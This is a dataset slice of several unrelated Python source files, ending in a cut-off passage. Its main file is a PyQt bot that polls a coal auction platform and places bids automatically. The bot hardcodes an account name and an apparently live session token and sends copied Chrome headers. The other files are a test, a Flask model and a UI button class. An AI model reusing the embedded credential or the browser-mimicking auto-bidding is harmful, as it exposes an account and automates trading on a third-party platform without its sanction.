dict(steve=[key]),\n **mock_next_run(vt),\n )\n assert table.require(key)(vt)[\"foo\"] == \"biz\" # the same\n assert None is table.get(bad_key)(vt)\n\n\ndef test_api2_update_existing():\n vt, table = _fake_table(\"steve\", \"id\")\n key = dict(id=\"yo\")\n vt = table.presume(key, dict(key, foo=\"blah\"))(vt)\n\n vt = versioned_transact_write_items(\n update_existing(table, _update(\"foo\", \"zot\"), key), **mock_next_run(vt)\n )\n assert table.require(key)(vt)[\"foo\"] == \"zot\"\n\n with pytest.raises(ItemNotFoundException):\n versioned_transact_write_items(\n update_existing(table, _update(\"foo\", \"oi\"), dict(id=\"no\"),), **mock_next_run(vt),\n )\n\n\ndef test_api2_create_or_update():\n vt, table = _fake_table(\"steve\", \"id\")\n key = dict(id=\"yolo\")\n vt = versioned_transact_write_items(\n create_or_update(table, lambda x: dict(key, foo=1), key), **mock_next_run(vt),\n )\n assert table.require(key)(vt)[\"foo\"] == 1\n\n\ndef test_api2_write_item_creates():\n vt, table = _fake_table(\"felicity\", \"id\")\n key = dict(id=\"goodbye\")\n vt = versioned_transact_write_items(\n write_item(table, lambda ox: dict(key, bar=8), key), **mock_next_run(vt),\n )\n assert table.require(key)(vt)[\"bar\"] == 8\n\n\ndef test_api2_write_item_deletes():\n vt, table = _fake_table(\"felicity\", \"id\")\n key = dict(id=\"goodbye\")\n vt = table.presume(key, dict(key, baz=9))(vt)\n vt = versioned_transact_write_items(\n write_item(table, lambda x: None, key), **mock_next_run(vt),\n )\n assert table.get(key)(vt) is None\n","repo_name":"xoeye/xoto3","sub_path":"tests/xoto3/dynamodb/write_versioned/api2_test.py","file_name":"api2_test.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"20"} +{"seq_id":"31527747179","text":"# This is a sample Python script.\nimport sys\n\n# 1. Import `QApplication` and all the required widgets\nfrom PyQt5.QtWidgets import QApplication, QDialog, QPushButton, QTableWidgetItem, QListWidgetItem\nfrom PyQt5.QtGui import QDesktopServices\nfrom PyQt5.QtCore import QUrl, QTimer, Qt, QDateTime, QObject, QDate\n\nfrom ui_bot_ch import Ui_Dialog\n\nimport json\nfrom datetime import datetime\n# import random\n# import time\nimport requests\nimport threading\nimport platform\nfrom multiprocessing.pool import ThreadPool\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\nclass BotDlg(QDialog):\n\n def __init__(self):\n super(BotDlg, self).__init__()\n self.username = 'SMYZMJNY'\n self.token = '353687b4-a896-400b-9232-c9d2637fe649'\n self.target = 'ZYL23030075末煤'\n self.difference = 0\n self.bestPrice = 0\n self.addamount = 0\n self.limitamount = 2222\n self.execution = QDateTime.currentDateTime()\n self.orderoption = 0\n self.orderprice = 1000\n self.orderRun = False\n self.option2timout = 60000\n\n self.option2first = False\n \n self.timer = QTimer()\n self.timer_list = QTimer()\n self.timer_orderlist = QTimer()\n self.timer_makeorder = QTimer()\n\n self.ui = Ui_Dialog()\n self.ui.setupUi(self)\n \n self.platid = \"91\"\n self.project_start = \"\"\n self.project_end = \"\"\n self.project_status = 1\n self.project_tradeModeId = None\n self.project_tradeTimeId = None\n self.project_companyMargin = 300000\n self.project_maxMatterCount = 30\n self.project_usableMargin = 100000\n self.project_totalstructure = None\n \n # Init Gui\n self.ui.lineEdit_user.setText(self.username)\n self.ui.lineEdit_token.setText(self.token)\n self.ui.lineEdit_target.setText(self.target)\n # self.ui.lineEdit_bestprice.setText(str(self.bestPrice))\n self.ui.lineEdit_addamount.setText(str(self.addamount))\n self.ui.lineEdit_limitedamount.setText(str(self.limitamount))\n self.ui.lineEdit_platid.setText(self.platid)\n self.ui.lineEdit_orderprice.setText(str(self.orderprice))\n self.ui.lineEdit_option2_timeout.setText(str(self.option2timout))\n \n self.ui.pushButton_stop.setEnabled(False)\n # Button Slot Connection\n self.ui.pushButton_test.clicked.connect(self.slot_test)\n self.ui.pushButton_delay.clicked.connect(self.slot_delay)\n self.ui.pushButton_start.clicked.connect(self.slot_start)\n self.ui.pushButton_stop.clicked.connect(self.slot_stop)\n self.ui.pushButton_export.clicked.connect(self.slot_export)\n \n # Radio Button Connection\n self.ui.radioButton_1.clicked.connect(self.slot_radio1)\n self.ui.radioButton_2.clicked.connect(self.slot_radio2)\n \n # Lineedit change text event connection\n self.ui.lineEdit_user.textChanged.connect(self.slot_usertext)\n self.ui.lineEdit_token.textChanged.connect(self.slot_token)\n self.ui.lineEdit_platid.textChanged.connect(self.slot_platid)\n self.ui.lineEdit_addamount.textChanged.connect(self.slot_addamount)\n self.ui.lineEdit_limitedamount.textChanged.connect(self.slot_limitedamount)\n self.ui.lineEdit_orderprice.textChanged.connect(self.slot_orderprice)\n self.ui.lineEdit_option2_timeout.textChanged.connect(self.slot_option2timeout)\n self.ui.timeEdit.timeChanged.connect (self.slot_time)\n \n \n # Timeout connection\n self.timer.timeout.connect(self.timeout)\n self.timer_list.timeout.connect(self.timeout_list)\n self.timer_orderlist.timeout.connect(self.timeout_orderlist)\n self.timer_makeorder.timeout.connect(self.timeout_makeorder)\n \n \n def writeLog(self, _str):\n with open(\"log.txt\", \"a\") as f:\n now = datetime.now().timestamp()*1000\n f.writelines(str(now) + ' : ' + _str + '\\n')\n # Main timer event handler \n \n def timeout(self):\n _now = datetime.now().timestamp()\n _exec = self.execution.toMSecsSinceEpoch()\n # if(_now > _exec):\n # print(\"start scan\")\n # self.scan()\n # else:\n # print(\"end scan\")\n self.scan()\n \n \n def timeout_list(self):\n _now = datetime.now().timestamp()\n _exec = self.execution.toMSecsSinceEpoch()\n # if(_now > _exec):\n # print(\"start scan_list\")\n # self.scan_list()\n # else:\n # print(\"end scan_list\")\n self.scan_list()\n \n\n def timeout_orderlist(self):\n _now = datetime.now().timestamp()\n _exec = self.execution.toMSecsSinceEpoch()\n # if(_now > _exec):\n # print(\"start scan_orderlist\")\n # self.scan_orderlist()\n # else:\n # print(\"end scan_orderlist\")\n self.scan_orderlist()\n \n def timeout_makeorder(self):\n if self.project_totalstructure != None and self.project_totalstructure != \"\":\n if self.project_tradeTimeId != None and self.project_tradeTimeId != \"\":\n _now = datetime.now().timestamp()\n _exec = self.execution.toMSecsSinceEpoch()\n if self.orderoption == 0:\n if(_now*1000 < _exec):\n print(\"Not Yet timeout_makeorder1\")\n else:\n self.post_makeorder()\n print('end timeout_makeorder')\n else:\n if self.project_start != None and self.project_start != \"\":\n _start = datetime.strptime(self.project_start, '%Y-%m-%d %H:%M:%S')\n _startepoch = _start.timestamp()\n print('order option 2 ', _startepoch, _now)\n if(_now*1000 < (_startepoch + int(self.option2timout))):\n print(\"Not Yet timeout_makeorder2\")\n else:\n self.post_makeorder()\n print('end timeout_makeorder2')\n\n else:\n print('cant get start time, cant make order, sorry')\n\n\n # Signal Slot\n \n def slot_usertext(self, text):\n print('username change:', self.username, text)\n outputStr = 'username change: ' + self.username + ' : ' + text\n self.username = text\n self.writeLog(outputStr)\n \n \n def slot_token(self, text):\n print('token change:', self.token, text)\n outputStr = 'token change: ' + self.token + ' : ' + text\n self.token = text\n self.writeLog(outputStr)\n \n \n def slot_platid(self, id):\n print('platid change:', self.platid, id)\n outputStr = 'platid change: ' + self.platid + ' : ' + id\n self.option2first = False\n self.platid = id\n self.writeLog(outputStr)\n \n \n def slot_addamount(self, amount):\n print('change add price', amount)\n outputStr = 'change add price: ' + str(self.addamount) + ' : ' + amount\n self.addamount = int(amount)\n self.writeLog(outputStr)\n \n \n def slot_limitedamount(self, limitamount):\n print('change limit price')\n outputStr = 'change limit price: ' + str(self.limitamount) + ' : ' + limitamount\n self.limitamount = int(limitamount)\n self.writeLog(outputStr)\n \n \n def slot_orderprice(self, orderprice):\n print('change order price')\n outputStr = 'change order price: ' + str(self.orderprice) + ' : ' + orderprice\n self.orderprice = int(orderprice)\n self.writeLog(outputStr)\n \n \n def slot_option2timeout(self, timeout):\n print('change option2 timeout')\n outputStr = 'change option2 timeout: ' + str(self.option2timout) + ' : ' + timeout\n self.option2timout = int(timeout)\n self.writeLog(outputStr)\n \n \n def slot_time(self, settime):\n _tmp = QDateTime()\n _tmp.setDate(QDate.currentDate())\n _tmp.setTime(settime)\n self.execution = _tmp\n print(\"change execution time\", self.execution.toMSecsSinceEpoch())\n outputStr = 'change execution time: ' + str(self.execution.toMSecsSinceEpoch())\n self.writeLog(outputStr)\n # print(\"now time\", datetime.now().timestamp())\n # print(\"execution time\", self.execution.msecsTo(datetime.now()))\n \n \n def scan(self):\n print('getPlatInfor')\n res = self.getPlatInfor()\n if \"plateVo\" in res:\n # print(\"getPlatInfor\", res)\n if res[\"plateVo\"] != None:\n # self.project_start = res[\"plateVo\"][\"startTimeProcess\"]\n # self.project_end = res[\"plateVo\"][\"endTime\"]\n # self.project_status = res[\"plateVo\"][\"status\"]\n print(\"platVo\")\n outputStr = 'platVo: ' + json.dumps(res[\"plateVo\"])\n self.writeLog(outputStr)\n # print(\"platVo\", res['plateVo'])\n \n\n if \"matterList\" in res:\n if res[\"matterList\"] != None:\n if len(res[\"matterList\"]) > 0:\n # main current plat information get\n self.project_totalstructure = res[\"matterList\"][0]\n self.ui.lineEdit_target.setText(self.project_totalstructure['matterCode'])\n self.bestPrice = str(self.project_totalstructure['bestPrice'])\n\n if(self.project_totalstructure['bestPrice'] == None or self.project_totalstructure['bestPrice'] == 0):\n self.bestPrice = str(self.project_totalstructure['beginPrice'])\n # self.ui.lineEdit_bestprice.setText(self.bestPrice)\n if(self.option2first == False):\n self.ui.lineEdit_orderprice(str(self.bestPrice))\n self.option2first = True\n \n print('main pro auction', self.project_totalstructure)\n outputStr = 'main pro auction: ' + json.dumps(self.project_totalstructure)\n self.writeLog(outputStr)\n\n\n \n def scan_list(self):\n res = self.get_list()\n if(len(res) > 0):\n # self.platid = str(res[0]['plateId'])\n if(res[0]['tradeTimeId'] != None):\n self.project_tradeTimeId = str(res[0]['tradeTimeId'])\n self.project_start = res[0]['startTimeProcess']\n self.project_end = res[0]['endTime']\n self.project_status = res[0]['status']\n outputStr = 'scan_list: ' + json.dumps(res[0])\n self.writeLog(outputStr)\n # print(\"scan_list\", res[0])\n\n\n def scan_orderlist(self):\n res = self.getOrderInfor()\n if(len(res) > 0):\n print(\"scan_orderlist\", res)\n outputStr = 'scan_orderlist' + json.dumps(res)\n self.writeLog(outputStr)\n \n\n def slot_test(self):\n res = self.get_list()\n if res == None:\n print('test failed')\n return\n \n if \"msg\" in res:\n self.ui.pushButton_start.setEnabled(False)\n self.ui.pushButton_stop.setEnabled(False)\n print(\"test error\", res)\n outputStr = 'test error: ' + json.dumps(res)\n self.writeLog(outputStr)\n else:\n self.ui.pushButton_start.setEnabled(True)\n # self.ui.pushButton_stop.setEnabled(True)\n \n\n def slot_delay(self):\n dbTime = float(self.get_dbTime())\n now = datetime.now().timestamp()*1000\n # print(\"difference\", now - dbTime)\n self.difference = (now-dbTime)\n # self.ui.lineEdit_delay.setText(str(self.difference) + \" ms\")\n outputStr = 'delay time: ' + str(self.difference)\n self.writeLog(outputStr)\n \n\n def slot_start(self):\n self.orderRun = False\n self.timer.start(2000)\n self.timer_list.start(3000)\n self.timer_orderlist.start(5000)\n self.timer_makeorder.start(1000)\n self.ui.pushButton_start.setEnabled(False)\n self.ui.pushButton_stop.setEnabled(True)\n \n self.ui.timeEdit.setEnabled(False)\n self.option2first = False\n print('start')\n self.writeLog('start')\n \n \n def slot_stop(self):\n self.orderRun = False\n self.timer.stop()\n self.timer_list.stop()\n self.timer_orderlist.stop()\n self.timer_makeorder.stop()\n self.ui.pushButton_start.setEnabled(True)\n self.ui.pushButton_stop.setEnabled(False)\n \n self.ui.timeEdit.setEnabled(True)\n self.option2first = False\n print('stop')\n self.writeLog('stop')\n \n \n def slot_export(self):\n print('export')\n self.writeLog('export')\n \n \n def slot_radio1(self):\n self.orderoption = 0\n self.ui.timeEdit.setEnabled(True)\n self.ui.lineEdit_option2_timeout.setEnabled(False)\n \n self.ui.lineEdit_addamount.setEnabled(True)\n self.ui.lineEdit_limitedamount.setEnabled(True)\n self.ui.lineEdit_orderprice.setEnabled(False)\n print('order option 0')\n self.writeLog('order option 0')\n \n \n def slot_radio2(self):\n self.orderoption = 1\n self.ui.timeEdit.setEnabled(False)\n self.ui.lineEdit_option2_timeout.setEnabled(True)\n \n self.ui.lineEdit_addamount.setEnabled(False)\n self.ui.lineEdit_limitedamount.setEnabled(False)\n self.ui.lineEdit_orderprice.setEnabled(True)\n self.ui.lineEdit_orderprice.setText(str(self.bestPrice))\n self.option2first = False\n \n print('order option 1, set order price as begin price', self.bestPrice)\n self.writeLog('order option 1')\n self.writeLog('set order price as begin price: ' + str(self.bestPrice))\n \n \n # Request Part\n \n def get_list_offset(self):\n url = \"https://jy.yectc.com:16952/frontService/base/message/message/list?offset=1&typeId=10002&standard=151973\"\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'get_list_offset : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n \n\n def get_dbTime(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/dbTime\"\n response = self.getRequest(url)\n outputStr = 'get_dbTime : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return response.text\n \n\n # big trading plate information get\n # third endpoint\n # https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/special/home/tradingPlate/list\n # Refresh time - 3s\n def get_list(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/special/home/tradingPlate/list\"\n\n response = self.getRequest(url)\n if response == None:\n print('cant get_list')\n return None\n _res = json.loads(response.text)\n outputStr = 'get_list : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n \n\n # sixth endpoint\n # refresh time - 500ms\n # https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/plate/matter/list?maxCount=30&plateId=75&status=2\n def get_mainList(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/plate/matter/list?maxCount=31&plateId=\" + self.platid + \"&status=2\"\n \n response = self.getRequest(url)\n _res = json.loads(response.text)\n \n outputStr = 'get_mainList : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n \n if \"matterGroupList\" in _res:\n matterGroupList = _res[\"matterGroupList\"]\n if matterGroupList != None | matterGroupList != 'null':\n if \"matterList\" in matterGroupList: \n self.tradeInformation = matterGroupList\n \n return _res\n \n \n def getPlatInfor(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/plate/matter/list?&plateId=\" + self.platid +\"&status=2\"\n response = self.getRequest(url)\n _res = json.loads(response.text)\n \n outputStr = 'getPlatInfor : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n \n return _res\n \n \n def getOrderInfor(self):\n if self.project_tradeTimeId != None:\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/special/match/order?tradeModeId=1&tradeTimeId=\" + str(self.project_tradeTimeId)\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'getOrderInfor : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n else:\n return []\n \n \n # Get full list of orders - first endpoint\n # https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/stationRoad/list\n # Desired Response - 15s\n # Many array list - 239\n # [{stationRoadId: 1, stationRoadName: \"神树畔矿业\", status: 0, createTime: \"2021-08-31 10:21:42\"}, ......]\n def getList1(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/stationRoad/list\"\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'getList1 : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n \n\n # Get active information - second endpoint\n # Desired Response - 1m\n # https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/plate/matter/list?plateId=\n def getList2(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/common/plate/matter/list?plateId=\" + self.platid\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'getList2 : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n\n\n\n # Not Important - fourth endpoint\n # Desired Response - 3s\n # { companyMargin : 0, maxMatterCount : 30, usableMargin : 0 }\n def getTradeInfor(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/special/plate/myMatter/trade?plateId=\" + self.platid\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'getTradeInfor : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n if \"maxMatterCount\" in _res:\n self.project_companyMargin = _res[\"companyMargin\"]\n self.project_maxMatterCount = _res[\"maxMatterCount\"]\n self.project_usableMargin = _res[\"usableMargin\"]\n return _res\n else:\n return None\n\n\n # get order list - fifth endpoint\n # Desired Response - 3s\n # https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/special/match/order?tradeModeId=1&tradeTimeId=4666\n def getfullorderlist(self):\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/special/match/order?tradeModeId=1&tradeTimeId=4666\"\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'getfullorderlist : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n\n\n def getdetailofmatter(self):\n if self.project_totalstructure != None:\n if self.project_totalstructure['matterId'] != None:\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/open/detail?matterId=\" + str(self.project_totalstructure['matterId']) + \"&tradeModeId=1\"\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'getdetailofmatter : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n else: \n return None\n else:\n return None\n \n \n def gettradeguantity(self):\n if self.project_totalstructure != None:\n if self.project_totalstructure['matterId'] != None:\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/open/tradeQuantity?matterId=\" + str(self.project_totalstructure['matterId'])\n response = self.getRequest(url)\n _res = json.loads(response.text)\n outputStr = 'gettradeguantity : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n return _res\n else:\n return None\n else:\n return None\n\n\n def post_makeorder(self):\n if self.orderRun == True:\n print('order is already posted')\n self.writeLog('order is already posted')\n return\n print('order time condition passed')\n self.writeLog('order time condition passed')\n if self.project_totalstructure != None:\n if self.project_totalstructure['matterId'] != None and self.project_totalstructure['bestPrice'] != None and self.project_totalstructure['quantity'] != None:\n my_quantity = self.project_totalstructure['quantity'] - self.project_totalstructure['orderQuantity']\n my_price = self.project_totalstructure['bestPrice'] + self.addamount\n if int(self.project_totalstructure['bestPrice']) == 0:\n my_price = self.project_totalstructure['beginPrice'] + self.addamount\n if self.orderoption == 1:\n my_price = self.orderprice\n if(my_price > self.limitamount):\n print('Current Price is too high')\n self.writeLog('Current Price is too high')\n self.slot_stop()\n return None\n url = \"https://jy.yectc.com:16952/frontService/ylmt/vendue/trade/open/order/single\"\n payload = {\n 'matterId': str(self.project_totalstructure['matterId']),\n 'tradeModeId': '1',\n 'price': str(my_price),\n 'quantity': str(my_quantity)\n }\n print('order make endpoint', url, payload)\n outputStr = 'order make endpoint : ' + url + ' : ' + json.dumps(payload)\n self.writeLog(outputStr)\n response = self.postRequest(url, payload)\n _res = json.loads(response.text)\n if \"msg\" in _res:\n print('order place failed', _res)\n outputStr = 'order place failed : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n elif \"responseValue\" in _res:\n print('order place successfully', _res)\n outputStr = 'order place successfully : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n self.orderRun = True\n \n else:\n print('make new order posted', _res)\n outputStr = 'make new order posted : ' + url + ' : ' + response.text\n self.writeLog(outputStr)\n \n return _res\n else:\n return None\n else:\n return None\n\n\n def getRequest(self, url):\n # print('get:', url, self.username, self.token)\n payload={}\n headers = {\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Host': 'jy.yectc.com:16952',\n 'Referer': 'https://jy.yectc.com:16952/',\n 'sec-ch-ua': '\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-ch-ua-platform': 'Windows',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'same-origin',\n 'Token': self.token,\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',\n 'UserID': self.username\n }\n try:\n response = requests.request(\"GET\", url, headers=headers, data=payload)\n return response\n except:\n print('getRequest error: ', url)\n return None\n \n def postRequest(self, url, payload):\n # print('post:', url, self.username, self.token)\n headers = {\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Host': 'jy.yectc.com:16952',\n 'Referer': 'https://jy.yectc.com:16952/',\n 'sec-ch-ua': '\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-ch-ua-platform': 'Windows',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'same-origin',\n 'Token': self.token,\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',\n 'UserID': self.username\n }\n\n try:\n response = requests.request(\"POST\", url, headers=headers, data=payload)\n return response\n except:\n print('postRequest error', url)\n return None\n \n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = BotDlg()\n w.exec_()","repo_name":"jasonlee011/bid-bot","sub_path":"AutoAuction/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73121631409","text":"from sqlite3 import connect\nfrom flask_app.config.mysqlconnection import connectToMySQL\nfrom flask_app import DATABASE\nfrom flask import flash\n\nclass Artist:\n def __init__(self, data):\n self.id = data['id']\n self.artist_name = data['artist_name']\n self.artist_image = data['artist_image']\n self.followers = data['followers']\n self.genre = data['genre']\n self.created_at = data['created_at']\n self.updated_at = data['updated_at']\n self.user_id = data['user_id']\n\n # CREATE\n\n @classmethod\n def create_artist(cls, data):\n query = \"INSERT INTO favorite_artists (artist_name, artist_image, followers, genre, user_id) VALUES (%(artist_name)s, %(artist_image)s, %(followers)s, %(genre)s, %(user_id)s)\"\n return connectToMySQL(DATABASE).query_db(query, data)\n\n @classmethod\n def show_all(cls):\n query = \"SELECT * FROM favorite_artists\"\n results = connectToMySQL(DATABASE).query_db(query)\n\n if results:\n all_artists = []\n for artist in results:\n all_artists.append(artist)\n return all_artists\n return []\n \n @classmethod\n def get_one(cls, data):\n query = \"SELECT * FROM favorite_artists WHERE id = %(id)s;\"\n results = connectToMySQL(DATABASE).query_db(query, data)\n return cls(results[0])\n \n @classmethod\n def get_all_for_user(cls, data):\n query = \"SELECT * FROM favorite_artists WHERE user_id = %(user_id)s\"\n results = connectToMySQL(DATABASE).query_db(query, data)\n if results:\n all_artists = []\n for artist in results:\n all_artists.append(artist)\n return all_artists\n return []\n\n @classmethod\n def update_artist(cls, data):\n query = \"UPDATE favorite_artists SET artist_name = %(artist_name)s, artist_image = %(artist_image)s, followers = %(followers)s, genre = %(genre)s, updated_at = NOW() WHERE id = %(id)s;\"\n return connectToMySQL(DATABASE).query_db(query, data) \n\n'''\n Queries created by Aaron Nguyen\n https://www.linkedin.com/in/aaronpnguyen/\n'''","repo_name":"aaronpnguyen/Redify","sub_path":"flask_app/models/model_artist.py","file_name":"model_artist.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"16432720803","text":"from micropython import const\nimport displayio\nfrom adafruit_display_text.label import Label\nfrom adafruit_display_shapes.rect import Rect\nfrom adafruit_display_shapes.roundrect import RoundRect\n\n__version__ = \"\"\n__repo__ = \"\"\n\n\ndef _check_color(color):\n # if a tuple is supplied, convert it to a RGB number\n if isinstance(color, tuple):\n r, g, b = color\n return int((r << 16) + (g << 8) + (b & 0xff))\n return color\n\n\nclass PaddedButton():\n # pylint: disable=too-many-instance-attributes, too-many-locals\n \"\"\"Helper class for creating UI buttons for ``displayio``.\n\n :param x: The x position of the button.\n :param y: The y position of the button.\n :param width: The width of the button in pixels.\n :param height: The height of the button in pixels.\n :param name: The name of the button.\n :param style: The style of the button. Can be RECT, ROUNDRECT, SHADOWRECT, SHADOWROUNDRECT.\n Defaults to RECT.\n :param fill_color: The color to fill the button. Defaults to 0xFFFFFF.\n :param outline_color: The color of the outline of the button.\n :param label: The text that appears inside the button. Defaults to not displaying the label.\n :param label_font: The button label font.\n :param label_color: The color of the button label text. Defaults to 0x0.\n :param selected_fill: Inverts the fill color.\n :param selected_outline: Inverts the outline color.\n :param selected_label: Inverts the label color.\n\n \"\"\"\n RECT = const(0)\n ROUNDRECT = const(1)\n SHADOWRECT = const(2)\n SHADOWROUNDRECT = const(3)\n\n def __init__(self, *, x, y, width, height, name=None, style=RECT,\n fill_color=0xFFFFFF, outline_color=0x0,\n label=None, label_font=None, label_color=0x0,\n label_x=-1, label_y=-1, id=-1, # PaddedButton\n selected_fill=None, selected_outline=None,\n selected_label=None, margin=None, padding=None): # PaddedButton\n\n # PaddedButton\n # Define padding around the button boundaries to constrain\n # calculation for the contains() method\n if padding is not None:\n self._padding = padding\n else:\n self._padding = (0, 0) # (x,y) respectively\n \n # Margin provides space around the outside of the button\n self._margin = margin\n \n # PaddedButton\n if margin is not None:\n self.x = x + margin[0]\n self.y = y + margin[1]\n self.width = width - (2 * self.margin[0])\n self.height = height - (2 * self.margin[1])\n else: \n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n self._font = label_font\n self._selected = False\n self.group = displayio.Group()\n self.name = name\n self._label = label\n self._id = id # PaddedButton\n self.body = self.fill = self.shadow = None\n\n self.fill_color = _check_color(fill_color)\n self.outline_color = _check_color(outline_color)\n self._label_color = label_color\n self._label_font = label_font\n self._label_x = label_x # PaddedButton\n self._label_y = label_y # PaddedButton\n\n # Selecting inverts the button colors!\n self.selected_fill = _check_color(selected_fill)\n self.selected_outline = _check_color(selected_outline)\n self.selected_label = _check_color(selected_label)\n\n if (self.selected_fill is None) and (fill_color is not None):\n self.selected_fill = (~self.fill_color) & 0xFFFFFF\n if self.selected_outline is None and outline_color is not None:\n self.selected_outline = (~self.outline_color) & 0xFFFFFF\n\n # print(\"id: {} selected_fill: {}\".format(self._id,self.selected_fill))\n\n if (outline_color is not None) or (fill_color is not None):\n if style == PaddedButton.RECT:\n self.body = Rect(self.x, self.y, width, height,\n fill=self.fill_color, outline=self.outline_color)\n elif style == PaddedButton.ROUNDRECT:\n self.body = RoundRect(self.x, self.y, self.width, self.height, r=10,\n fill=self.fill_color, outline=self.outline_color)\n elif style == PaddedButton.SHADOWRECT:\n self.shadow = Rect(x + 2, y + 2, width - 2, height - 2,\n fill=outline_color)\n self.body = Rect(x, y, width - 2, height - 2,\n fill=self.fill_color, outline=self.outline_color)\n elif style == PaddedButton.SHADOWROUNDRECT:\n self.shadow = RoundRect(x + 2, y + 2, width - 2, height - 2, r=10,\n fill=self.outline_color)\n self.body = RoundRect(x, y, width - 2, height - 2, r=10,\n fill=self.fill_color, outline=self.outline_color)\n if self.shadow:\n self.group.append(self.shadow)\n\n self.group.append(self.body)\n\n self.label = label\n\n # else: # ok just a bounding box\n # self.bodyshape = displayio.Shape(width, height)\n # self.group.append(self.bodyshape)\n\n @property\n def label(self):\n \"\"\"The text label of the button\"\"\"\n return self._label.text\n\n @label.setter\n def label(self, newtext):\n if self._label and (self.group[-1] == self._label):\n self.group.pop()\n\n self._label = None\n if not newtext or (self._label_color is None): # no new text\n return # nothing to do!\n\n if not self._label_font:\n raise RuntimeError(\"Please provide label font\")\n self._label = Label(self._label_font, text=newtext)\n dims = self._label.bounding_box\n if dims[2] >= self.width or dims[3] >= self.height:\n raise RuntimeError(\"Button not large enough for label\")\n\n # PaddedButton\n # Set an x,y location for the label\n if self._label_x > -1:\n x_loc = self.x + self._label_x\n else: \n x_loc = self.x + (self.width - dims[2]) // 2\n if self._label_y > -1: \n y_loc = self.y + self._label_y\n else:\n y_loc = self.y + self.height // 2\n \n self._label.x = x_loc\n self._label.y = y_loc\n\n # self._label.x = self.x + (self.width - dims[2]) // 2\n # self._label.y = self.y + self.height // 2\n\n self._label.color = self._label_color\n self.group.append(self._label)\n\n if (self.selected_label is None) and (self._label_color is not None):\n self.selected_label = (~self._label_color) & 0xFFFFFF\n\n @property\n def selected(self):\n \"\"\"Selected inverts the colors.\"\"\"\n return self._selected\n\n @selected.setter\n def selected(self, value):\n if value == self._selected:\n return # bail now, nothing more to do\n self._selected = value\n if self._selected:\n new_fill = self.selected_fill\n new_out = self.selected_outline\n new_label = self.selected_label\n else:\n new_fill = self.fill_color\n new_out = self.outline_color\n new_label = self._label_color\n # print(\"id: {} new_fill: {}\".format(self._id,new_fill))\n # update all relevant colros!\n if self.body is not None:\n # print(\"id: {} updating new_fill: {}\".format(self._id,new_fill))\n self.body.fill = new_fill\n self.body.outline = new_out\n if self._label is not None:\n self._label.color = new_label\n\n\n # PaddedButton\n # New code for contains function\n def contains(self, point):\n \"\"\"Used to determine if 